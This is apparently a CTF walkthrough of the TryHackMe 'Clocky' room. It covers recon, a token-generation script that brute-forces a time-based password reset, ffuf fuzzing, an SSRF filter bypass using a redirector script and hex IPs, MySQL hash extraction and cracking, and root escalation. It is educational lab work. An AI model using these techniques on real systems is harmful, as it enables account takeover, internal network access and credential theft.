TryHackMe - Clocky¶
Introduction¶
OS: Linux
URL: Clocky
Level: Medium
A Medium rated room. Involves code review, Time based token exploitation, SSRF and privilege escalation.
Recon¶
First we start Off with a Nmap Scan to check for open ports and services running on the machine.
Note
We'll be doing a full port scan with the -p-
flag. As one of the webserver is running on port 8000
which is not in the nmap top 1K port list I have also used the --min-rate=5000
flag to speed up the scan. This is not recommended as you'll likely miss some ports or even risk crashing the target machine.
It's always recommended to do a full port scan in the background after the inital scan with the top 1K ports.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d9:42:e0:c0:d0:a9:8a:c3:82:65:ab:1e:5c:9c:0d:ef (RSA)
| 256 ff:b6:27:d5:8f:80:2a:87:67:25:ef:93:a0:6b:5b:59 (ECDSA)
| 256 e1:2f:4a:f5:6d:f1:c4:bc:89:78:29:72:0c32:d2 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open http nginx 1.18.0 (Ubuntu)
| http-robots.txt: 3 disallowed entries
|/.sql$ /.zip$ /*.bak$
| http-methods:
| Supported Methods: GET HEAD POST
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http-proxy Werkzeug/2.2.3 Python/3.8.10
|_http-server-header: Werkzeug/2.2.3 Python/3.8.10
| http-methods:
| Supported Methods: HEAD GET OPTIONS
[..snip..]
|_http-title: Clocky
From Nmap Scan results we have 3 web servers running on ports 80
, 8000
, and 8080
.
- Port
80
is running Apache. But seems to block all requests with a403 Forbidden
error. - Port
8000
is running Nginx. Again seems to block all requests with a403 Forbidden
error. But we have arobots.txt
file which has entries disallowing.sql
,.zip
, and.bak
files. - Port
8080
is running a Python web server.
From the disallowed entries in robots.txt
we probably need to also scan for hidden files and directories.
Since the 8080
port is running a Python flask webserver we can skip file enumeration on it for now as in Flask
you generally need to explicitly define the routes.
Note
Note there are still some exceptions to this where Flask
Web-server can be configured to serve static files. But we can check that later if we are out of options.
Flag 1¶
This involves the nginx server running on port 8000
.
Since we know there is a robots.txt
file we can try to access it.
And we have our first flag.
Flag 2¶
Let's run a Gobuster
directory scan on port 8000
with the extensions from the robots.txt
file.
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.146.73:8000/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: bak,zip,sql
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.zip (Status: 200) [Size: 1922]
We have a index.zip
file. Let's download it and extract it.
Connecting to 10.10.146.73:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1922 (1.9K) [application/zip]
Saving to: ‘index.zip’2024-03-31 23:58:24 (245 MB/s) - ‘index.zip’ saved [1922/1922]
┌──(kali㉿kali)-[~/THM/clocky]unzip index.zipArchive: index.zip
inflating: app.py
extracting: flag2.txt
┌──(kali㉿kali)-[~/THM/clocky]cat flag2.txt THM{REDACTED}
And we have our second flag.
Flag 3¶
Inside the index.zip
file we have a app.py
file containing the source code for the Flask
web server running on port 8080
.
We can get a list of all the routes defined in the Flask
app by checking the source code.
If we head over to the /administrator
route we get a login page.
From checking the source code we know that the login form is not vulnerable to SQL injection as the query params are not directly concatenated with the SQL query (this is the same for all the sql queries in the source so we can skip SQL injection attacks for all routes).
Next we can try the /forgot_password
route.
Looking at the highlited source code above. We can see that when you make a POST
request to /forgot_password
route with a valid username
.
It generates a token by concatenating the current time and the username. Then hashes the string using sha1
and stores the token in the reset_token
table in the database.
To exploit this we essentially need know the time and username, then we should be able to generate the token and reset the password.
Problems Problems Problems!¶
A Brief Overview of me spending hours and going crazy
There are two really difficult parts in generating the token.
- We have three usernames that we get from the comments in the source code
jane
,clarice
andclocky_user
from db_user variable. - We need to know the exact time when the request was made with a two digit precision for milliseconds along with the timezone.
This was just made worse because there was no way to enumerate users to know that these usernames were valid. In fact they were not.
The username we need is administrator
the only way you could know this is by either guessing it from looking at the route
name or by looking at the H2 Banner
But brute forcing wasn't really a option here as the problem 2
makes it so that each username enumeration would atleast take anywhere from 4800-15000
plus requests.
I did close a million requests trying to enumerate the user. So to save you the trouble the username is administrator
and the timezone is GMT +0
. Which is the same as the time reported in the home page of the website.
Generating the token¶
Since the token generated depends on the time we need to know the time on the server.
When you make a request to the server the response header will contain the Date
field which will give you the time on the server.
This has a precision upto the seconds mark and since the requests made takes less than a second. The time used by the server to generate the token will be the same as the time reported in the Date
field.
But if we look at the output of str(datetime.datetime.now())[:-4]
we see that the time is reported with a precision of 2
digits for milliseconds.
Type "help", "copyright", "credits" or "license" for more information.
import datetimestr(datetime.datetime.now())[:-4]'2024-04-01 01:30:47.57'
So we basically need to bruteforce the first two digits of the milliseconds to generate the token.
Let's script this to generate a wordlist of all possible tokens.
import datetime
import hashlib
username = "administrator"
# time copied from the `Date` field in server response headers
server_response_time = "Mon, 01 Apr 2024 05:47:17 GMT"
# format of the time copied from the `Date` field in server response headers
server_response_format = "%a, %d %b %Y %H:%M:%S %Z"
# convert the time to a datetime object
request_time_datetime_obj = datetime.datetime.strptime(server_response_time, server_response_format)
for milli_seconds in range(100):
# add the milliseconds to the time
lnk = str(request_time_datetime_obj) + f".{milli_seconds:02d}" + " . " + username.upper()
# generate the token
lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
print(lnk)
Just make sure to replace the server_response_time
with the time from the Date
field in the server response headers.
Finding the reset token param¶
Now that we have a list of possible tokens we can try to reset the password.
Let's head over to /password_reset
route
We get Invalid Parameter
error. Let's take a look at the code
The code is expecting a parameter named TEMPORARY
in the query string. But it's commented out.
If we try to access the route with the TEMPORARY
parameter (/password_reset?TEMPORARY=test
) we get Invalid parameter
error again.
The comments in the code hint towards the parameter TEMPORARY
potentially being the changed in the future, and it's possible that the code we have is an outdated version.
Now we need to again bruteforce the parameter to reset the password.
We can use ffuf
and the SecLists burp-parameter-names.txt
wordlist to bruteforce the parameter.
/'\ /'\ /'\
/\ _/ /\ _/ __ __ /\ _/
\ \ ,\ \ ,\/\ \/\ \ \ \ ,__\
\ \ _/ \ \ _/\ \ _\ \ \ \ _/
\ _\ \ _\ \ ____/ \ _\
\// \/_/ \// \/_/
v2.1.0-dev
________
:: Method : GET
:: URL : http://10.10.92.238:8080/password_reset?FUZZ=aaaaaa
:: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 26
__________
token [Status: 200, Size: 22, Words: 2, Lines: 1, Duration: 243ms]
:: Progress: [6453/6453] :: Job [1/1] :: 81 req/sec :: Duration: [0:01:19] :: Errors: 0 ::
Note
Note how after FUZZ=
i set the value to aaaaa
it can be any random string but this needs to be set.
Because if you take a look at the code. it's not checking if the parameter exists but instead if the parameter has any value.
Example: If you try to access /password_reset?token=
the if request.args.get("token"):
will return a empty string (""
) which equates to a False
and the code will return to the else:
block.
But if you try to access /password_reset?token=RANDOM_STRING
the if request.args.get("token"):
will return RANDOM_STRING
and the code will continue to execute the if:
code block.
Resetting the password¶
Now that we know the parameter is token
we can try to reset the password.
Send a POST
request to /forgot_password
with the username
parameter set to administrator
to generate the token. You can just do this in the browser but I recommend using burp as this will make it easier for us to get the Date
field from the response headers.
Now update the time in the generate_tokens.py
script with the time from the Date
field in the response headers.
Let's generate a wordlist of all possible tokens using our generate_tokens.py
script and use ffuf
to bruteforce the token.
┌──(kali㉿kali)-[~/THM/clocky]wc -l wordlist 100 wordlist
┌──(kali㉿kali)-[~/THM/clocky]ffuf -w wordlist -u "http://$IP:8080/password_reset?token=FUZZ" -mc all -fs 22
/'\ /'\ /'\
/\ _/ /\ _/ __ __ /\ _/
\ \ ,\ \ ,\/\ \/\ \ \ \ ,__\
\ \ _/ \ \ _/\ \ _\ \ \ \ _/
\ _\ \ _\ \ ____/ \ _\
\// \/_/ \// \/_/
v2.1.0-dev
________
:: Method : GET
:: URL : http://10.10.92.238:8080/password_reset?token=FUZZ
:: Wordlist : FUZZ: /home/kali/THM/clocky/wordlist
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 22
__________
c8c6d208e1d6d9a8a25a3a50a6e1e8684f90c914 [Status: 200, Size: 1627, Words: 665, Lines: 54, Duration: 178ms]
:: Progress: [100/100] :: Job [1/1] :: 136 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
Now we can use this token to reset the password.
Now lets Login to the /administrator
route with the username administrator
and the new password you've set.
Finally, we have our third flag.
Flag 4¶
Notice that in the admin dashboard we have a Location
field. But it doesn't say much about what it does.
Trying to put /etc/passwd
in the Location
field just gets us an empty file
Let's send this to burp repeater and play around with the request.
If you put a http request in the Location
field it will make a request to the server and display the response.
If you remember all requests to port 80
and port 8000
were blocked. Maybe they're allowed when accessed from the server itself?.
SSRF¶
We can try to access the robots.txt
file on the server by putting http://localhost:8000/robots.txt
in the Location
field.
Note: This code is from the updated file from the actual server which you can only access after you get a shell on the machine.
I've provided the code here to better understand the filtering in place.
Looks like there is a filter in place that blocks any requests that contain - localhost
- 127
- 0.0.0.0
Tip
In hindsight now that I know what the code looks like just using uppercase LOCALHOST
would have bypassed the filter.
There are several ways to bypass this filtering.
This doc from HackTricks explains several ways.
I first wrote a redirect script in python
!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', f"{sys.argv[2]}{self.path}")
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
and run this using the location we need to redirect to.
Now we can access the robots.txt
file on the server by just requesting http://YOUR_VPN_IP:9000/robots.txt
in the Location
field.
But the /
endpoint on port 8000
still gives a 403 Forbidden
error.
Port 80 Apache Server¶
Let's try to see if Port 80 is accessible with SSRF.
And we get a 200 OK response.
The title says it's a Internal dev storage
but it doesn't list any files. We likely have to bruteforce the files again.
But since we are using python to redirect, and it's not multi-threaded it will likely be slow or even outright crash for few requests.
So let's try another way to bypass the filter.
If you read the article from HackTricks you'll see that we can also use the Hex
representation of the IP address to make requests.
127.0.0.1
in Hex
is 0x7f000001
So if we request http://0x7f000001/
we should be able to access the same Internal dev storage
page.
Now that we have access to the Internal dev storage
page we can try to bruteforce the files.
Bruteforcing the files¶
First we need to save the Burp request to a file. This will make it much easier to use with ffuf
.
Note
I've already appended FUZZ
to http://0x7f000001/
in the request before saving it.
If you remember from the nmap scan results the robots.txt
file disallowed .zip
, .sql
, and .bak
files. So we will also add these extensions to the ffuf
command.
/'\ /'\ /'\
/\ _/ /\ _/ __ __ /\ _/
\ \ ,\ \ ,\/\ \/\ \ \ \ ,__\
\ \ _/ \ \ _/\ \ _\ \ \ \ _/
\ _\ \ _\ \ ____/ \ _\
\// \/_/ \// \/_/
v2.1.0-dev
________
:: Method : POST
:: URL : http://10.10.92.238:8080/dashboard
:: Wordlist : FUZZ: /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.ZgpUDA.gXUCDH_HqBv0Eq3Jgzd47l8j220
:: Header : Host: 10.10.92.238:8080
:: Header : Origin: http://10.10.92.238:8080
:: Header : Connection: close
:: Header : Referer: http://10.10.92.238:8080/dashboard
:: Header : Upgrade-Insecure-Requests: 1
:: Header : Accept-Language: en-US,en;q=0.5
:: Data : location=http://0x7f000001/FUZZ
:: Extensions : .bak .zip .sql
:: Output file : ffuf.log
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 272,275
__________
database.sql [Status: 200, Size: 1636, Words: 231, Lines: 58, Duration: 319ms]
We have a database.sql
file. Let's download it and see what's inside.
We have our fourth flag.
Flag 5¶
The database.sql
file contains two passwords. Let's try this password on the SSH
service running on port 22
.
Known Usernames:
jane
clarice
clocky_user
administrator
root
One of the password works for the user clarice
.
We have our fifth flag.
Flag 6¶
Now that we have access to the machine let's try to escalate our privileges.
Trying the passwords we know against root
or jane
doesn't work.
Since the code mentioned the database user password is in the .env
file (load_dotenv()
) we can look for it.
clarice has the source code for the app in ~/app
directory. And the .env
file is located at ~/app/.env
.
We have the database password
Since we already know the database username is clocky_user
we can try to access the database.
Enter password:
show databases;+--------------------+
| Database |
+--------------------+
| clocky |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.01 sec)
If you read through the database.sql
file you'll see that clocky_user
was granted all privileges on all the databases.
CREATE USER IF NOT EXISTS 'clocky_user'@'localhost' IDENTIFIED BY '!WE_LOVE_CLEARTEXT_DB_PASSWORDS!';
GRANT ALL PRIVILEGES ON *.* TO 'clocky_user'@'localhost' WITH GRANT OPTION;
CREATE USER IF NOT EXISTS 'clocky_user'@'%' IDENTIFIED BY '!WE_LOVE_CLEARTEXT_DB_PASSWORDS!';
GRANT ALL PRIVILEGES ON *.* TO 'clocky_user'@'%' WITH GRANT OPTION;
Due to this we can read all the password hashes from the mysql
database.
mysql> use mysql;
Database changed
mysql> select Host, User, Authentication_string from user;
+-----------+------------------+------------------------------------------------------------------------+
| Host | User | Authentication_string |
+-----------+------------------+------------------------------------------------------------------------+
| % | clocky_user | $A$005$~g]5C]]hmVcZUf8oIT96B7VRZhQibsUhSe5eKbHm4Lq1ks8pzxDkNM9 |
/xuiN2%#pIV5@8=o1xaxXD13/Mh0rlloe/WqcmmaBDMF6r7wjvFGgoTSaB |
| localhost | clocky_user | $A$005$cgâ–’|\>B^:
yCR0kSV+XwNDxm2lDD5W3J9551gjlVmOZ9Z9hH2Szailxm2VkL. |
| localhost | debian-sys-maint | $A$005$Ebh3â–’N5a#f6HM?xF*uSqjNbbUYGitDq/yFLM8LbauDh83QtraQaETy6nZWtWc2 |
| localhost | dev | $A$005$
8w|Q!N]rZX!mZ\?ok/WxQEdeRLNgqXpWEf4sJonZecawFUizD8FokeI5F. |
| localhost | mysql.infoschema | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | mysql.session | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | mysql.sys | $A$005$THISISACOMBINATIONOFINVALIDSALTANDPASSWORDTHATMUSTNEVERBRBEUSED |
| localhost | root | |
+-----------+------------------+------------------------------------------------------------------------+
But this cannot directly be cracked. (read this issue for more details)
Hashcat Example Hashes page lists a method to get password hashes in a format that can be cracked.
SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
We can now get the hashes in a format that can be cracked.
mysql> SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
+------------------+---------------------------------+
| user | hash |
+------------------+---------------------------------+
| clocky_user | $mysql$A$0005*077E1 READACTED |
| dev | $mysql$A$0005*0D172 READACTED |
| clocky_user | $mysql$A$0005*63671 READACTED |
| debian-sys-maint | $mysql$A$0005*45626 READACTED |
| dev | $mysql$A$0005*1C160 READACTED |
+------------------+---------------------------------+
5 rows in set (0.00 sec)
Save the hashes in a file and crack them using hashcat
. Few minutes later you should have a cracked password.
hashcat (v6.2.6) starting
[...SNIP...]
$mysql$A$005*0D**REDACTED**:arm**REDACTED**
We can try to su
as root
with the cracked password.
And we have our sixth flag and final flag. :)